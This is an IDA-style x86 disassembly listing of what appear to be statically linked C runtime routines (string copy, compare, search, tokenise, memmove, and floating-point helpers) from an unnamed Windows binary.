loc_41C926:				; CODE XREF: sub_41C8A0+6Bj
					; sub_41C8A0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C921
		test	dl, dl
		jz	short loc_41C978
		test	dh, dh
		jz	short loc_41C96F
		test	edx, 0FF0000h
		jz	short loc_41C962
		test	edx, 0FF000000h
		jz	short loc_41C95A
		jmp	short loc_41C921
; ---------------------------------------------------------------------------

loc_41C95A:				; CODE XREF: sub_41C8A0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C962:				; CODE XREF: sub_41C8A0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C96F:				; CODE XREF: sub_41C8A0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C978:				; CODE XREF: sub_41C8A0+72j
					; sub_41C8A0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41C8A0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41C990

loc_41C980:				; CODE XREF: sub_41C990+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41C990
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C990	proc near		; CODE XREF: sub_401ACD+412p
					; sub_401ACD+4B9p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041C980 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]

loc_41C996:				; CODE XREF: sub_41C2E0+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41C9BB

loc_41C9A8:				; CODE XREF: sub_41C990+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41C980
		test	cl, cl
		jz	short loc_41CA04
		test	edx, 3
		jnz	short loc_41C9A8

loc_41C9BB:				; CODE XREF: sub_41C990+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax

loc_41C9C6:				; CODE XREF: sub_41C990+61j
					; sub_41C990+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41CA08
		and	eax, 81010100h
		jz	short loc_41C9C6
		and	eax, 1010100h
		jnz	short loc_41CA02
		and	esi, 80000000h
		jnz	short loc_41C9C6

loc_41CA02:				; CODE XREF: sub_41C990+68j
					; sub_41C990+81j ...
		pop	esi
		pop	edi

loc_41CA04:				; CODE XREF: sub_41C990+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41CA08:				; CODE XREF: sub_41C990+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41CA45
		test	al, al
		jz	short loc_41CA02
		cmp	ah, bl
		jz	short loc_41CA3E
		test	ah, ah
		jz	short loc_41CA02
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41CA37
		test	al, al
		jz	short loc_41CA02
		cmp	ah, bl
		jz	short loc_41CA30
		test	ah, ah
		jz	short loc_41CA02
		jmp	short loc_41C9C6
; ---------------------------------------------------------------------------

loc_41CA30:				; CODE XREF: sub_41C990+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41CA37:				; CODE XREF: sub_41C990+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41CA3E:				; CODE XREF: sub_41C990+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41CA45:				; CODE XREF: sub_41C990+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41C990	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41CA50	proc near		; CODE XREF: sub_401ACD+1AEp
					; sub_401ACD+205p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41CA9C

loc_41CA60:				; CODE XREF: sub_41CA50+3Cj
					; sub_41CA50+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41CA94
		or	al, al
		jz	short loc_41CA90
		cmp	ah, [ecx+1]
		jnz	short loc_41CA94
		or	ah, ah
		jz	short loc_41CA90
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41CA94
		or	al, al
		jz	short loc_41CA90
		cmp	ah, [ecx+3]
		jnz	short loc_41CA94
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41CA60
		mov	edi, edi

loc_41CA90:				; CODE XREF: sub_41CA50+18j
					; sub_41CA50+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CA94:				; CODE XREF: sub_41CA50+14j
					; sub_41CA50+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CA9C:				; CODE XREF: sub_41CA50+Ej
		test	edx, 1
		jz	short loc_41CAB8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41CA94
		inc	ecx
		or	al, al
		jz	short loc_41CA90
		test	edx, 2
		jz	short loc_41CA60

loc_41CAB8:				; CODE XREF: sub_41CA50+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41CA94
		or	al, al
		jz	short loc_41CA90
		cmp	ah, [ecx+1]
		jnz	short loc_41CA94
		or	ah, ah
		jz	short loc_41CA90
		add	ecx, 2
		jmp	short loc_41CA60
sub_41CA50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAD4	proc near		; CODE XREF: sub_401ACD+B5p
					; sub_401ACD+D5p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi

loc_41CAED:				; CODE XREF: sub_41CAD4+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41CAED
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41CB15
		mov	edx, dword_4DBE38

loc_41CB15:				; CODE XREF: sub_41CAD4+39j
					; sub_41CAD4+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41CB35
		test	al, al
		jz	short loc_41CB35
		inc	edx
		jmp	short loc_41CB15
; ---------------------------------------------------------------------------

loc_41CB35:				; CODE XREF: sub_41CAD4+58j
					; sub_41CAD4+5Cj
		mov	ebx, edx

loc_41CB37:				; CODE XREF: sub_41CAD4+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41CB5B
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41CB57
		inc	edx
		jmp	short loc_41CB37
; ---------------------------------------------------------------------------

loc_41CB57:				; CODE XREF: sub_41CAD4+7Ej
		and	byte ptr [edx],	0
		inc	edx

loc_41CB5B:				; CODE XREF: sub_41CAD4+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4DBE38, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41CAD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CB70	proc near		; CODE XREF: sub_409823+1Cp
					; sub_415DAC+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41FF3F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41CBAE
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41CBBB
; ---------------------------------------------------------------------------

loc_41CBAE:				; CODE XREF: sub_41CB70+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41FE2A
		pop	ecx
		pop	ecx

loc_41CBBB:				; CODE XREF: sub_41CB70+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41CB70	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBC0	proc near		; CODE XREF: sub_40ADE1+88p
					; sub_40B90E+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41CC74
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41CBEA

loc_41CBDB:				; CODE XREF: sub_41CBC0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41CC1B
		test	edi, 3
		jnz	short loc_41CBDB

loc_41CBEA:				; CODE XREF: sub_41CBC0+19j
					; sub_41CBC0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41CBEA
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41CC28
		test	ah, ah
		jz	short loc_41CC23
		test	eax, 0FF0000h
		jz	short loc_41CC1E
		test	eax, 0FF000000h
		jnz	short loc_41CBEA

loc_41CC1B:				; CODE XREF: sub_41CBC0+20j
		dec	edi
		jmp	short loc_41CC2B
; ---------------------------------------------------------------------------

loc_41CC1E:				; CODE XREF: sub_41CBC0+52j
		sub	edi, 2
		jmp	short loc_41CC2B
; ---------------------------------------------------------------------------

loc_41CC23:				; CODE XREF: sub_41CBC0+4Bj
		sub	edi, 3
		jmp	short loc_41CC2B
; ---------------------------------------------------------------------------

loc_41CC28:				; CODE XREF: sub_41CBC0+47j
		sub	edi, 4

loc_41CC2B:				; CODE XREF: sub_41CBC0+5Cj
					; sub_41CBC0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41CC40
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41CC8C
		jmp	short loc_41CC5C
; ---------------------------------------------------------------------------

loc_41CC40:				; CODE XREF: sub_41CBC0+75j
					; sub_41CBC0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41CC7A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41CC70
		test	esi, 3
		jnz	short loc_41CC40
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41CC8C

loc_41CC5C:				; CODE XREF: sub_41CBC0+7Ej
					; sub_41CBC0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41CC70

loc_41CC63:				; CODE XREF: sub_41CBC0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41CC72
		dec	ecx
		jnz	short loc_41CC63

loc_41CC70:				; CODE XREF: sub_41CBC0+8Bj
					; sub_41CBC0+A1j
		mov	[edi], cl

loc_41CC72:				; CODE XREF: sub_41CBC0+ABj
		pop	ebx
		pop	esi

loc_41CC74:				; CODE XREF: sub_41CBC0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41CC7A:				; CODE XREF: sub_41CBC0+85j
					; sub_41CBC0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41CC84:				; CODE XREF: sub_41CBC0+E4j
					; sub_41CBC0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41CC5C

loc_41CC8C:				; CODE XREF: sub_41CBC0+7Cj
					; sub_41CBC0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41CC84
		test	dl, dl
		jz	short loc_41CC7A
		test	dh, dh
		jz	short loc_41CCD8
		test	edx, 0FF0000h
		jz	short loc_41CCC8
		test	edx, 0FF000000h
		jnz	short loc_41CC84
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41CCC8:				; CODE XREF: sub_41CBC0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41CCD8:				; CODE XREF: sub_41CBC0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41CBC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CCE3	proc near		; CODE XREF: ___:0040B062p
					; sub_40C2AF+40p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_41B9C0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_420DB0
		add	esp, 10h
		leave
		retn
sub_41CCE3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CD20	proc near		; CODE XREF: sub_40B13C+62p
					; sub_40B13C+6Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41CD40
		cmp	edi, eax
		jb	loc_41CEB8

loc_41CD40:				; CODE XREF: sub_41CD20+16j
		test	edi, 3
		jnz	short loc_41CD5C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------

loc_41CD5C:				; CODE XREF: sub_41CD20+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41CD74
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41CD7C+4[eax*4]
; ---------------------------------------------------------------------------

loc_41CD74:				; CODE XREF: sub_41CD20+46j
		jmp	dword ptr loc_41CE78[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41CD7C:				; CODE XREF: sub_41CD20+31j
					; sub_41CD20+8Ej ...
		jmp	off_41CDFC[ecx*4]
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 0CDh, 41h, 0
		dd offset loc_41CDBC
		dd offset loc_41CDE0
; ---------------------------------------------------------------------------
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41CDBC:				; DATA XREF: sub_41CD20+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_41CDE0:				; DATA XREF: sub_41CD20+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CDFC	dd offset loc_41CE5F	; DATA XREF: sub_41CD20:loc_41CD7Cr
		dd offset loc_41CE4C
		dd offset loc_41CE44
		dd offset loc_41CE3C
		dd offset loc_41CE34
		dd offset loc_41CE2C
		dd offset loc_41CE24
		dd offset loc_41CE1C
; ---------------------------------------------------------------------------

loc_41CE1C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_41CE24:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_41CE2C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_41CE34:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_41CE3C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_41CE44:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_41CE4C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41CE5F:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20:off_41CDFCo
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CE68	dd offset loc_41CE78	; DATA XREF: sub_41CD20+35r
					; sub_41CD20+92r ...
		dd offset loc_41CE80
		dd offset loc_41CE8C
		dd offset loc_41CEA0
; ---------------------------------------------------------------------------

loc_41CE78:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41CE80:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CE8C:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41CEA0:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CEB8:				; CODE XREF: sub_41CD20+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CEEC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_41CEE0:				; CODE XREF: sub_41CD20+1B1j
					; sub_41CD20+208j ...
		neg	ecx
		jmp	off_41CFB0[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41CEEC:				; CODE XREF: sub_41CD20+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CF04
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41CF04+4[eax*4]
; ---------------------------------------------------------------------------

loc_41CF04:				; CODE XREF: sub_41CD20+1D6j
					; DATA XREF: sub_41CD20+1DDr
		jmp	off_41D000[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CF17+1
; ---------------------------------------------------------------------------
		cmp	bh, cl
		inc	ecx
		add	[eax-31h], ah
		inc	ecx

loc_41CF17:				; DATA XREF: sub_41CD20+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CFB4
		dd offset loc_41CFBC
		dd offset loc_41CFC4
		dd offset loc_41CFCC
		dd offset loc_41CFD4
		dd offset loc_41CFDC
		dd offset loc_41CFE4
off_41CFB0	dd offset loc_41CFF7	; DATA XREF: sub_41CD20+1C2r
; ---------------------------------------------------------------------------

loc_41CFB4:				; DATA XREF: sub_41CD20+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax

loc_41CFBC:				; DATA XREF: sub_41CD20+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax

loc_41CFC4:				; DATA XREF: sub_41CD20+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax

loc_41CFCC:				; DATA XREF: sub_41CD20+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax

loc_41CFD4:				; DATA XREF: sub_41CD20+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax

loc_41CFDC:				; DATA XREF: sub_41CD20+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax

loc_41CFE4:				; DATA XREF: sub_41CD20+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41CFF7:				; CODE XREF: sub_41CD20+1C2j
					; DATA XREF: sub_41CD20:off_41CFB0o
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41D000	dd offset loc_41D010	; DATA XREF: sub_41CD20+1B7r
					; sub_41CD20:loc_41CF04r ...
		dd offset loc_41D018
		dd offset loc_41D028
		dd offset loc_41D03C
; ---------------------------------------------------------------------------

loc_41D010:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41D018:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41D028:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41D03C:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41CD20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41D055(double)

sub_41D055	proc near		; CODE XREF: sub_40D2F4+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43AE20
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41D0DB
		call	sub_421F51
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41D0BE
		cmp	eax, 2
		jle	short loc_41D0B0
		cmp	eax, 3
		jnz	short loc_41D0BE
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_421861
		add	esp, 10h
		jmp	short loc_41D120
; ---------------------------------------------------------------------------

loc_41D0B0:				; CODE XREF: sub_41D055+3Fj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41D120
; ---------------------------------------------------------------------------

loc_41D0BE:				; CODE XREF: sub_41D055+3Aj
					; sub_41D055+44j
		fld	[ebp+arg_0]
		fadd	dbl_4276F8
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41D118
; ---------------------------------------------------------------------------

loc_41D0DB:				; CODE XREF: sub_41D055+2Fj
		call	sub_421F16
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41D0FE

loc_41D0F0:				; CODE XREF: sub_41D055+ACj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41D120
; ---------------------------------------------------------------------------

loc_41D0FE:				; CODE XREF: sub_41D055+99j
		test	bl, 20h
		jnz	short loc_41D0F0
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int

loc_41D118:				; CODE XREF: sub_41D055+84j
		call	sub_4218B4
		add	esp, 1Ch

loc_41D120:				; CODE XREF: sub_41D055+59j
					; sub_41D055+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41D055	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D124	proc near		; CODE XREF: ___:0041C16Dp
					; sub_422152+21p
					; DATA XREF: ...
		call	sub_41D13C
		call	sub_422152
		mov	dword_4DBE40, eax
		call	sub_422102
		fnclex
		retn
sub_41D124	endp

